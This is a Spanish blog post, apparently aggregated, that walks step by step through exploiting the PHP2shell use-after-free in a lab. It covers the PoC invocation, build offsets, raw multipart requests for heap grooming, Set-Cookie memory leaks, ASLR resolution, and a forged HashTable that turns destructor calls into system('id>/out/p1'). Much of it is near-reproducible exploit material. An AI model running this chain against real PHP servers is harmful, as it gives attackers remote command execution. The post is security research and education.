PHP2shell al descubierto: análisis técnico de la explotación y ejecución de comandos
PHP2shell es una vulnerabilidad que está en boca de todos. Cuando la ves mencionar en los telediarios está claro que se trata una de las más mediáticas del año y no es para menos…
La raíz del problema viene de mucho más atrás, de una familia de bugs que PHP arrastra desde hace años alrededor de memory_limit, bailouts y estados internos que sobreviven más de lo que deberían. Ya en 2004 Stefan Esser había documentado una vulnerabilidad remota relacionada con errores de memoria en PHP, y en 2020 apareció el bug #78876, donde un simple out-of-memory podía dejar recursos sin limpiar correctamente. En 2024, una auditoría de OSTIF y Quarkslab volvió a tropezar con el mismo tipo de comportamiento, aunque todavía sin llegar a una explotacion completa.
La pieza que faltaba llegó en 2026. Durante una nueva ronda de investigación sobre el runtime de PHP, Calif, OpenAI y Wiz encontraron que algunos errores fatales no solo provocaban crashes, sino que dejaban estructuras internas en un estado intermedio. En otras palabras: PHP podía liberar memoria y, aun así, conservar punteros hacia esos bloques como si siguieran siendo válidos. Esa diferencia entre «memoria liberada» y «estado que aún cree que sigue vivo» es justo la grieta que convierte un OOM (Out Of Memory) aparentemente inofensivo en una primitiva real de explotación.
Lo interesante de php2shell es que el exploit no depende de una función peligrosa de la aplicación ni de un bug en WordPress, Joomla o Magento. El problema está en el propio motor de PHP, antes incluso de que el script del usuario llegue a ejecutarse. La cadena se construye manipulando como PHP parsea requests multipart, como actualiza session.upload_progress, como limpia el request heap y como reutiliza esa memoria en el siguiente request. Esa secuencia permite pasar de un simple crash a un leak de heap, despues a un leak de libphp.so, y finalmente a redirigir un destructor interno hacia zif_system() para ejecutar comandos.
Tras la publicación de los CVE y de los parches oficiales de PHP, empezaron a aparecer distintas PoCs para estudiar la vulnerabilidad en entornos controlados. Uno de los más completos IMHO es el repositorio de Enes Sonmez, eness/php2shell-CVE-2026-109618-CVE-2026-109619-PoC, que no descubre la vulnerabilidad, pero sí convierte toda esa investigación en una cadena reproducible: perfiles de offsets, exploit automatizado, mitigaciones, parches y una demo funcional capaz de llegar hasta RCE real. Ese repo es especialmente interesante porque traduce una investigación de memoria bastante abstracta en algo que se puede observar request a request, leak a leak y crash a crash.
Este post parte precisamente de ese punto: no de la teoría general del bug, sino de la preproducción práctica de la cadena completa. Veremos cómo se fuerza el bailout, como se deja PS(id) en estado stale, como se resuelve ASLR con leaks reales y como un fake HashTable termina convirtiéndose en una llamada a system().
Modelo mental de la primitive
La explotación gira alrededor de un detalle de session startup: tras ciertas combinaciones de PHPSESSID, upload progress, warning por max_input_vars y OOM, algunos globals de session sobreviven al bailout con punteros que ya no deberían seguir activos.
La secuencia básica es:
multipart grooming -> warning de startup -> send_cookie queda activo -> OOM antes del cleanup completo -> PS(id) o PS(http_session_vars) quedan stale -> request B reclama la misma zona
Eso sí, antes de ejecutar el PoC conviene fijar algunos conceptos.
Zend MM
Zend MM es el allocator interno de PHP. Durante un request aloja:
request_info $_POST HashTable $_FILES HashTable progress.data progress.files script zvals temp buffers
En un flujo normal, RSHUTDOWN limpia los punteros globales antes de liberar el
heap del request. En el flujo vulnerable ocurre:
multipart parser -> session upload progress -> warning de startup -> OOM -> zend_bailout() -> shutdown incompleto -> puntero global stale
OOM, bailout, UAF y grooming
OOM: el request superamemory_limit.bailout: PHP aborta el flujo normal con un salto «abrupto».stale pointer: un global sigue apuntando a memoria que ya no debería usar.UAF(Use-after-free) el request siguiente reutiliza esa memoria liberada.grooming: el atacante fuerza tamaños y orden de allocations para reclamar
exactamente el hueco que necesita.
Offsets y ASLR
ASLR randomiza bases, pero no cambia offsets internos del mismo build:
direccion_runtime = base_randomizada + offset_conocido
Por eso el exploit necesita:
- una fuga/leak para
chunk_base; - una fuga para
libphp_base; - offsets exactos de
zif_system,zval_ptr_dtoryHTDATA.
Entorno reproducido
En este lab el worker model es prefork con un unico child. Eso permite que cada request A/B opere sobre un heap muy estable. Cuando B provoca corrupción del heap, Apache reemplaza el child y la siguiente fase empieza sobre un worker limpio, pero el atacante conserva las bases que ya ha calculado.
| Elemento | Valor |
|---|---|
| Imagen | php:8.4.26-apache-bookworm |
| Apache | 2.4.68 (Debian) |
| PHP | 8.4.26 |
| SAPI | apache2handler |
| Worker model | prefork, MaxRequestWorkers 1 |
display_errors |
On |
memory_limit |
8M |
max_input_vars |
1000 |
session.use_cookies |
1 |
session.use_strict_mode |
0 |
session.upload_progress.enabled |
On |
zif_system offset |
0x45a3b0 |
zval_ptr_dtor offset |
0x64eb60 |
HTDATA offset |
0x690d8 |
Esto es muy importante porque el repo de Eness está construido sobre un entorno muy concreto porque esta vulnerabilidad no es un bug lógico sencillo, sino una cadena de corrupción de memoria que depende muchísimo de cómo se organiza el heap en tiempo de ejecución.
La vulnerabilidad existe en el core de PHP, pero para explotarla de forma fiable no basta con saber que hay un use-after-free. Hay que conseguir que una request deje un puntero stale y que la siguiente request vuelva a ocupar exactamente el mismo hueco con la estructura adecuada. Eso depende de detalles muy pequeños: el tamaño de los campos multipart, el tipo de SAPI, el modelo de workers, la versión exacta de PHP, la distro, el compilador, los offsets de libphp.so, el memory_limit, max_input_vars, e incluso de si las requests caen en el mismo proceso Apache.
Por eso el repo fija un entorno tan específico: php:8.4.26-apache-bookworm, Apache prefork, un solo worker, memory_limit=8M, session.upload_progress.enabled=On, display_errors=On, etc. No porque esas condiciones sean la causa de la vulnerabilidad, sino porque convierten el comportamiento del heap en algo repetible. Con un único worker, las peticiones A/B siempre caen en el mismo proceso y el exploit puede asumir que la memoria liberada por la request A será reutilizada por la request B. Si hubiera varios workers, la segunda request podría acabar en otro proceso con un heap completamente distinto y toda la coreografía se rompería.
Lo mismo ocurre con los offsets. El exploit necesita saber dónde están zval_ptr_dtor, zif_system o HTDATA dentro del binario concreto de libphp.so. Esos offsets cambian entre versiones, distribuciones y builds. El repo de Eness no intenta ser un exploit universal que funcione contra cualquier PHP arbitrario, sino un laboratorio estable donde puedas ver la cadena completa de principio a fin: OOM, stale pointer, heap leak, libphp leak, resolución de ASLR y RCE.
En ese sentido, el entorno tan cerrado no es una limitación accidental, sino una decisión de diseño. El objetivo del repo es reducir la incertidumbre hasta que el exploit sea casi determinista y cada paso pueda observarse, medirse y documentarse. En un entorno real, esa misma cadena seguiría siendo posible, pero exigiría recalibrar grooming, offsets, retries, worker affinity y detalles del heap para adaptarse a la infraestructura concreta.
Preparando el terreno
Lo primero que haremos es buscar algunos símbolos que son piezas clave de la cadena de explotación. Concretamente:
- zval_ptr_dtor que es un destructor interno de Zend que aparece como puntero dentro de estructuras HashTable; al filtrarlo desde memoria, el exploit puede calcular la base real de libphp.so bajo ASLR.
- zif_system, en cambio, es la implementación interna de la función PHP system(), y se usa como objetivo final del hijack del destructor.
Una vez conocida la base de libphp.so, basta sumar el offset de zif_system para obtener su dirección exacta en memoria y colocarla en el campo pDestructor del fake HashTable. Por eso el script necesita localizar ambos símbolos dentro del binario exacto que se está ejecutando.
s offsets se obtuvieron con:
./offsets.sh php2shell-target /tmp/php2shell-offsets.env
En este lab, el script devolvió:
zif_system 0x45a3b0
zval_ptr_dtor 0x64eb60
Y escribió en /tmp/php2shell-offsets.env:
ZIF_OFFSET=0x45a3b0
DTOR_OFFSET=0x64eb60
Ahora llamaremos al script en python y analizaremos en detalle la cadena de ataque:
python3 ../poc_109618.py -u http://127.0.0.1:8088/index.php --profile bookworm --offsets-file /tmp/php2shell-offsets.env --proof-file out/p1 --proxy http://127.0.0.1:8080 --dump-dir raw --retries 3
Salida esperada:
[+] chunk base = 0x7b5b16c00000 [+] libphp base = 0x7b5b16f04000 PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
En este host hubo que ampliar el filtro de punteros del PoC porque ASLR coloco
heap y libphp en 0x7b... en lugar de 0x7f...:
0x700000000000 <= ptr < 0x800000000000
Sin ese cambio el leak existía en HTTP, pero el parser lo descartaba.
Paso a paso técnico
Antes de entrar en la cadena completa conviene entender que el exploit no se basa en una única request, sino en parejas de requests con roles distintos.
- La request A actúa como producer: prepara el heap, fuerza el OOM y deja un puntero stale.
- La request B actúa como consumer: llega justo después, reclama la memoria liberada y la reutiliza para provocar un leak o ejecutar la siguiente fase.
Ese patrón se repite varias veces a lo largo de la explotación. Primero se usa para estabilizar el worker, después para filtrar la base del heap, luego para filtrar la base de libphp.so y finalmente para construir el fake HashTable que desemboca en RCE.
Stage 0: rotación inicial del worker
Request 001 A-OOM (rotación)
POST http://127.0.0.1:8088/index.php HTTP/1.1 Host: 127.0.0.1:8088 Content-Type: multipart/form-data; boundary=SSSSSSSSSSSSSSSSS Content-Length: 15657436 --SSSSSSSSSSSSSSSSS Content-Disposition: form-data; name="f0000" VVVV... (3000 B) ... --SSSSSSSSSSSSSSSSS Content-Disposition: form-data; name="PHPSESSID" x00 --SSSSSSSSSSSSSSSSS Content-Disposition: form-data; name="big" BBBB... (12 MiB)
La petición contiene
- 1001 campos f0000..f1000 de 3000 bytes
- PHPSESSID = x00
- PHP_SESSION_UPLOAD_PROGRESS = pwn
- f = a.txt
- big = 12 MiB
La respuesta demuestra las tres condiciones clave:
HTTP/1.1 200 OK Content-Length: 476 Connection: close Warning: PHP Request Startup: Input variables exceeded 1000... Warning: PHP Request Startup: Session cookie cannot be sent after headers have already been sent... Fatal error: Allowed memory size of 8388608 bytes exhausted...
El efecto es:
PS(id) -> stale send_cookie = 1 worker W0 queda corrupto
Esta primera request no intenta filtrar memoria todavía. Su función es dejar al worker en un estado intermedio y reproducible. Los 1001 campos fuerzan el warning de max_input_vars, PHP_SESSION_UPLOAD_PROGRESS hace que el callback RFC1867 toque estructuras de sesión antes de ejecutar el script, y el campo big agota el memory_limit. El OOM provoca zend_bailout() antes de que el shutdown normal pueda limpiar todos los globals.
Recordad que PS(id) es una macro interna de PHP que apunta al identificador de sesión actual, es decir, al valor de PHPSESSID.
El detalle importante es que PS(id) sigue apuntando al zend_string del SID, pero ese bloque ya no debe considerarse valido.
Al mismo tiempo, send_cookie=1 indica que PHP todavía cree que debe serializar ese SID en un Set-Cookie. Esa combinación es la primitive base: un puntero global stale que el siguiente request puede volver a consumir.
Request 002 B-abort (rotación)
PHPSESSID = attacksessionid0001 PHP_SESSION_UPLOAD_PROGRESS = pwn
Como veis la petición envía sólo:
- PHPSESSID = attacksessionid0001
- PHP_SESSION_UPLOAD_PROGRESS = pwn
El worker intenta limpiar el estado stale y aborta:
<empty response> Apache error.log: zend_mm_heap corrupted AH00052: child pid <pid> exit signal Abort (6)
Apache crea un worker nuevo W1.
La segunda request es deliberadamente pequeña porque no necesita volver a groomar el heap. Solo necesita entrar de nuevo en la ruta de inicialización de sesión para que PHP toque el estado stale dejado por 001. Cuando Zend MM intenta recorrer o liberar esa memoria incoherente, detecta corrupción y aborta el child.
Ese crash es útil para el atacante: Apache prefork reemplaza el child por un worker limpio, de modo que la siguiente fase empieza con un heap estable. Las parejas 005/006 y 009/010 repiten exactamente esta técnica de rotación entre fases.
Stage 1: leak del chunk Zend MM
Request 003 A-prime (leak heap)
003-post.request.raw cambia el grooming:
POST http://127.0.0.1:8088/index.php HTTP/1.1 Host: 127.0.0.1:8088 Content-Type: multipart/form-data; boundary=SSSSSSSSSSSSSSSSS Content-Length: 12655437 --SSSSSSSSSSSSSSSSS Content-Disposition: form-data; name="p0000" x ... --SSSSSSSSSSSSSSSSS Content-Disposition: form-data; name="PHPSESSID" x00 ... --SSSSSSSSSSSSSSSSS Content-Disposition: form-data; name="big" BBBB... (12 MiB)
Aquí se cambia el grooming:
- 1001 campos p0000..p1000 de 1 byte
- PHPSESSID = x00
- PHP_SESSION_UPLOAD_PROGRESS = pwn
- f = a.txt
- big = 12 MiB
Objetivo:
- dejar PS(id) stale en un bin que el consumer pueda reclamar
Vemos la respuesta:
HTTP/1.1 200 OK Content-Length: 476 Warning: PHP Request Startup: Input variables exceeded 1000... Warning: PHP Request Startup: Session cookie cannot be sent after headers have already been sent... Fatal error: Allowed memory size of 8388608 bytes exhausted...
Aquí cambia el objetivo del grooming. Ya no se busca simplemente corromper el worker, sino colocar el zend_string del SID en una clase de tamaño concreta.
Los 1001 valores de 1 byte alteran la distribución de allocations para que, tras el bailout, el hueco donde estaba PS(id) quede disponible en el bin que el consumer 004 sabe reclamar.
La request 003 actua como producer: prepara el agujero exacto, pero todavía no produce ningún leak visible por HTTP.
Es decir A deja:
- PS(id) -> dangling zend_string de 32 B
- send_cookie = 1
- PS(http_session_vars) = UNDEF
El siguiente request puede reocupar ese bloque.
Request 004 – B-leak (leak heap)
Con esta petición ya se reclama el hueco con:
- 841 campos numericos 1000..1840 de 48 bytes
- 1 campo 1999 de 79 bytes
POST http://127.0.0.1:8088/index.php HTTP/1.1 Host: 127.0.0.1:8088 Content-Type: multipart/form-data; boundary=BBBBBBBBBB Content-Length: 93685 --BBBBBBBBBB Content-Disposition: form-data; name="1000" v0000xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ... --BBBBBBBBBB Content-Disposition: form-data; name="1999" AAAAAAAAAAAAAAAAx00x10x00x00x00x00x00x00LAAAA...
Y respuesta:
HTTP/1.1 200 OK Set-Cookie: PHPSESSID=LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%98%1A%AB%93%D5%F3%2Cp%A0p%CA%16%5B%7B... Content-Length: 560 Warning: PHP Request Startup: Session ID is too long or contains illegal characters... Warning: PHP Request Startup: Failed to read session data... OK
El campo 1999 forja un zend_string:
| Offset | Valor | Uso |
|---|---|---|
+0x10 |
0x1000 |
fuerza len = 4096 |
+0x18 |
0x4c |
primer byte visible "L" |
PHP serializa ese string falso dentro de Set-Cookie:
Set-Cookie: PHPSESSID=LAAAA...%98%1A%AB...
Después de decodificar:
decoded bytes = 4096 candidate pointers = 98
Uno de los punteros filtrados fue:
0x7b5b16ca70a0
Como los chunks Zend MM estan alineados a 2 MiB:
chunk_base = 0x7b5b16ca70a0 & ~0x1fffff chunk_base = 0x7b5b16c00000
Como veis la request 004 es el consumer. Los 841 campos de 48 bytes rellenan la misma clase de tamano hasta que el campo 1999 cae exactamente encima del antiguo zend_string de PS(id). A partir de ese momento, PHP interpreta bytes controlados por el atacante como si fueran la cabecera legitima de un zend_string.
El campo len en +0x10 se fuerza a 0x1000, así que cuando PHP intenta serializar el SID en Set-Cookie, no copia solo el contenido real del string: lee 4096 bytes del heap adyacente. El byte "L" en +0x18 sirve como marcador visual para saber que la falsificación ha aterrizado correctamente.
La cookie resultante contiene punteros reales del heap. Como Zend MM asigna chunks alineados a 2 MiB, basta con borrar los 21 bits bajos de cualquier puntero filtrado para recuperar la base del chunk. Que 98 candidatos diferentes colapsen a la misma base da confianza de que el leak es correcto.
Requests `005 y 006 de rotación
Las requests 005 y 006 repiten exactamente el mismo patrón de rotación que 001 y 002.
005 A…
POST http://127.0.0.1:8088/index.php HTTP/1.1 Content-Type: multipart/form-data; boundary=SSSSSSSSSSSSSSSSS Content-Length: 15657436 1001 x fNNNN = 3000 B PHPSESSID = x00 PHP_SESSION_UPLOAD_PROGRESS = pwn f = a.txt big = 12 MiB
HTTP/1.1 200 OK Warning: Input variables exceeded 1000... Warning: Session cookie cannot be sent... Fatal error: Allowed memory size exhausted...
006 B…
POST http://127.0.0.1:8088/index.php HTTP/1.1 Content-Type: multipart/form-data; boundary=BNDRY12345 Content-Length: 192 PHPSESSID = attacksessionid0001 PHP_SESSION_UPLOAD_PROGRESS = pwn
<empty response> Apache error.log: zend_mm_heap corrupted AH00052: child pid <pid> exit signal Abort (6)
La 005 vuelve a forzar el warning de max_input_vars, activa session.upload_progress y provoca un OOM para dejar el worker en un estado inconsistente, mientras que la 006 entra después para tocar ese estado stale y provocar el aborto del child.
El objetivo no es obtener ningún leak nuevo, sino descartar el worker usado en la fase anterior y forzar que Apache cree uno limpio antes de comenzar el stage 2. De ese modo, el exploit conserva un layout de heap predecible entre fases y evita que residuos del leak anterior alteren la coreografía de allocations necesaria para la siguiente etapa.
Stage 2: leak de libphp.so
Request 007 A -prime (Leak libphp)
POST http://127.0.0.1:8088/index.php HTTP/1.1 Content-Type: multipart/form-data; boundary=SSSSSSSSSSSSSSSSS Content-Length: 12693475 1001 x fNNNN = 39 B PHPSESSID = x00 PHP_SESSION_UPLOAD_PROGRESS = pwn f = a.txt big = 12 MiB
HTTP/1.1 200 OK Warning: Input variables exceeded 1000... Warning: Session cookie cannot be sent... Fatal error: Allowed memory size exhausted...
Esta petición usa 1001 valores de 39 bytes para caer en el bin que interesa al HashTable.
El segundo leak necesita otra clase de objeto. En vez de volver a trabajar con un zend_string, esta fase busca que el puntero stale termine observando un HashTable vivo, porque ese objeto contiene un puntero de función útil: pDestructor.
Los valores de 39 bytes cambian el bin objetivo y la geometría del heap. La request 007 vuelve a ser un producer: deja el estado stale listo para que el consumer coloque en ese mismo hueco una pagina de HashTable.
Request 008 B-dtor (leak libphp)
En esta petición se envia:
983 arrays a0000..a0982
16 elementos especiales en a0406[0]..a0406[15]
POST http://127.0.0.1:8088/index.php HTTP/1.1 Host: 127.0.0.1:8088 Content-Type: multipart/form-data; boundary=BBBBBBBBBB Content-Length: 83032 --BBBBBBBBBB Content-Disposition: form-data; name="a0406[0]" xxxxxxxxxxxxxxxx ... --BBBBBBBBBB Content-Disposition: form-data; name="a0406[15]" xxxxxxxxxxxxxxxx
La response contiene solo 16 bytes de cookie:
HTTP/1.1 200 OK Set-Cookie: PHPSESSID=%10%00%00%00%00%00%00%00%60%2BU%17%5B%7B%00%00; path=/ Content-Length: 560 Warning: PHP Request Startup: Session ID is too long or contains illegal characters... OK
Set-Cookie: PHPSESSID=%10%00%00%00%00%00%00%00%60%2B%55%17%5B%7B%00%00
Al decodificar:
qword[0] = 0x10 qword[1] = 0x7b5b17552b60
Ese segundo qword es zval_ptr_dtor.
Restando el offset del build:
libphp_base = 0x7b5b17552b60 - 0x64eb60 libphp_base = 0x7b5b16f04000
Los 983 arrays crean muchas estructuras HashTable con forma repetible. El array especial a0406 actúa como punto de ajuste fino: sus 16 elementos hacen que la pagina adecuada aterrice justo en la zona que luego se serializa como SID.
Esta vez el leak es pequeño porque no interesa leer todo el heap, sino solo dos qwords significativos. El segundo qword corresponde al destructor real del HashTable, zval_ptr_dtor, que vive dentro de libphp.so.
Ese puntero de función rompe ASLR para el módulo de código: como el offset de zval_ptr_dtor es conocido para el build exacto, restarlo permite reconstruir la base real de libphp.so.
Resolver ASLR
Con las dos leaks ya se puede calcular todo:
chunk_base = 0x7b5b16c00000 libphp_base = 0x7b5b16f04000
Derivaciones:
HTDATA = chunk_base + 0x690d8 = 0x7b5b16c690d8 R0 = chunk_base + 0x24e0 = 0x7b5b16c024e0 zif_system = libphp_base + 0x45a3b0 = 0x7b5b1735e3b0
ASLR sigue activo. La diferencia es que ya no se adivinan direcciones: se calculan a partir de leaks reales.
Las dos bases cumplen funciones distintas:
chunk_basepermite colocar y localizar objetos falsos dentro del heap.libphp_basepermite resolver funciones ejecutables dentro delibphp.so.
En el lab, los workers nuevos conservan una disposicion compatible porque Apache prefork hereda la misma imagen de proceso y el grooming reproduce la misma coreografia. Por eso las bases calculadas en stages anteriores siguen siendo utiles cuando se llega al worker final.
Requests 009 y 010 de rotación
Las requests 009 y 010 vuelven a repetir la misma mecánica de rotación, esta vez justo antes de la fase final de explotación. La 009 fuerza de nuevo el warning de startup, activa session.upload_progress y provoca un OOM para dejar el worker en un estado corrupto. La 010 consume ese estado stale y provoca el aborto del child, haciendo que Apache cree un nuevo worker limpio W3. El objetivo es que la fase final, donde se construye el fake HashTable y se redirige pDestructor hacia zif_system, empiece sobre un heap completamente predecible, sin residuos de las etapas de leak anteriores.
009 A…
POST http://127.0.0.1:8088/index.php HTTP/1.1 Content-Type: multipart/form-data; boundary=SSSSSSSSSSSSSSSSS Content-Length: 15657436 1001 x fNNNN = 3000 B PHPSESSID = x00 PHP_SESSION_UPLOAD_PROGRESS = pwn f = a.txt big = 12 MiB
HTTP/1.1 200 OK Warning: Input variables exceeded 1000... Warning: Session cookie cannot be sent... Fatal error: Allowed memory size exhausted...
Se preservan los datos calculados:
chunk_base = 0x7b5b16c00000
libphp_base = 0x7b5b16f04000
010 B... ```text POST http://127.0.0.1:8088/index.php HTTP/1.1 Content-Type: multipart/form-data; boundary=BNDRY12345 Content-Length: 192 PHPSESSID = attacksessionid0001 PHP_SESSION_UPLOAD_PROGRESS = pwn
<empty response> Apache error.log: zend_mm_heap corrupted AH00052: child pid <pid> exit signal Abort (6)
HTDATA = chunk + 0x690d8
= 0x7b5b16c690d8
ZIF = libphp + 0x45a3b0
= 0x7b5b1735e3b0
Stage 3: fake HashTable y RCE
Request 011 A-stale ref (RCE)
Esta petición deja la referencia ya colgando:
POST http://127.0.0.1:8088/index.php HTTP/1.1 Host: 127.0.0.1:8088 Cookie: PHPSESSID=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Content-Type: multipart/form-data; boundary=SSSSSSSSSSSSSSSSS Content-Length: 12584151 PHPSESSID = aaaaaaaaaaaaaaaaaaa PHP_SESSION_UPLOAD_PROGRESS = ppp 6 x pad = 31 B f = a.txt big = 12 MiB
La cabecera Cookie evita que el consumer genere otro Set-Cookie y pise la
estructura falsa.
Tras el OOM:
PS(http_session_vars) -> R0 R0 = 0x7b5b16c024e0
En la fase final cambia el objetivo: ya no interesa filtrar memoria, sino conseguir que PS(http_session_vars) apunte a una referencia falsa. Ese global es mas potente que PS(id) porque PHP lo trata como el contenedor real de las variables de sesión y lo destruirá durante el shutdown.
La cabecera Cookie valida mantiene send_cookie=0. Eso evita que el consumer genere un nuevo header Set-Cookie y escriba encima de la zona donde el exploit necesita conservar el tipo y el puntero de la referencia falsa.
El resultado de 011 es que PS(http_session_vars) queda apuntando a R0, una dirección ya calculada dentro del chunk controlado.
Cookie valido de 32 chars:
send_cookie = 0
PS(http_session_vars) queda apuntando a R0:
R0 = chunk + 0x24e0
Request 012 B-execute (RCE)
El siguiente request puede sobreescribir val.value.
- 1.f00 = 15 bytes
- 2.f01 = 15 bytes
- 3.g00 = carrier de 15 bytes
- 4.15 copias de un fake HashTable de 167 bytes
POST http://127.0.0.1:8088/index.php HTTP/1.1 Host: 127.0.0.1:8088 Content-Type: multipart/form-data; boundary=BBBBBBBBBB Content-Length: 4278 f00 = FFFFFFFFFFFFFFF f01 = FFFFFFFFFFFFFFF g00 = 010000001a000000d890c6165b7b00 a000...a014 = fake HashTable (167 B)
Campos clave del fake HashTable:
| Offset | Campo | Valor |
|---|---|---|
+0x00 |
gc |
rc=1, IS_ARRAY |
+0x10 |
arData |
HTDATA + 0x20 |
+0x30 |
pDestructor |
zif_system |
+0x80 |
fake zend_string |
argumento |
+0x98 |
command | id>/out/p1 |
Cadena final:
zval_ptr_dtor(PS(http_session_vars))
-> zend_array_destroy(fake_hash_table)
-> pDestructor(...)
-> zif_system("id>/out/p1")
La request 012 ya no necesita OOM ni leaks. Solo necesita reclamar R0 y la zona HTDATA con bytes que parezcan objetos PHP validos. El carrier g00 reescribe la referencia para que su val.value apunte a HTDATA, y las 15 copias del fake HashTable aumentan la probabilidad de que la estructura correcta aterrice en el slot esperado.
El fake HashTable no tiene que ser perfecto; solo necesita ser suficientemente coherente para atravesar el camino de destruccion:
gcyIS_ARRAYhacen que PHP lo trate como array.arDataapunta a una zona controlada.pDestructorse sustituye por la direccion runtime dezif_system.- el
zend_stringfalso contieneid>/out/p1como argumento.
Cuando PHP libera las variables de sesion, cree que esta destruyendo un array legitimo. En realidad acaba llamando a zif_system con el string controlado. El worker puede caer justo despues, pero el side effect ya ha ocurrido y queda demostrado en out/p1.
<empty response> Side effect: out/p1 -> uid=33(www-data) gid=33(www-data) groups=33(www-data) Apache error.log: AH00052: child pid <pid> exit signal Segmentation fault (11)
Conclusiones
php2shell demuestra que incluso un bug aparentemente “solo” de OOM puede convertirse en una cadena completa de RCE cuando se combina con estados stale, heap grooming y leaks fiables. La vulnerabilidad no depende de una función peligrosa de la aplicación, sino del propio runtime de PHP y de cómo el motor gestiona memoria, sesiones y cleanup entre requests. El punto realmente importante no es la llamada final a system(), sino la posibilidad de transformar un estado parcial de memoria en una primitive estable de lectura y escritura.
En el caso concreto de este lab, la explotación es muy dependiente del entorno. El PoC está calibrado para una combinación muy concreta: php:8.4.26-apache-bookworm, Apache prefork, un solo worker, offsets concretos de libphp.so, determinados tamaños de allocations y un layout de heap muy controlado. Eso permite que la cadena sea reproducible y didáctica, pero no significa que el mismo exploit pueda lanzarse sin cambios contra cualquier instalación PHP del mundo real.
Lo más probable es que no aparezca un “exploit universal” que funcione de forma fiable contra cualquier servidor PHP vulnerable. En su lugar, es más realista esperar PoCs y exploits adaptados a entornos concretos: una versión de PHP específica, una distro concreta, un SAPI determinado, un modelo de workers concreto y offsets propios de ese build. Es decir, más que un único exploit genérico, probablemente veremos familias de exploits especializados para diferentes configuraciones, cada uno con su propio grooming, offsets y lógica de retry.
Powered by WPeMatico





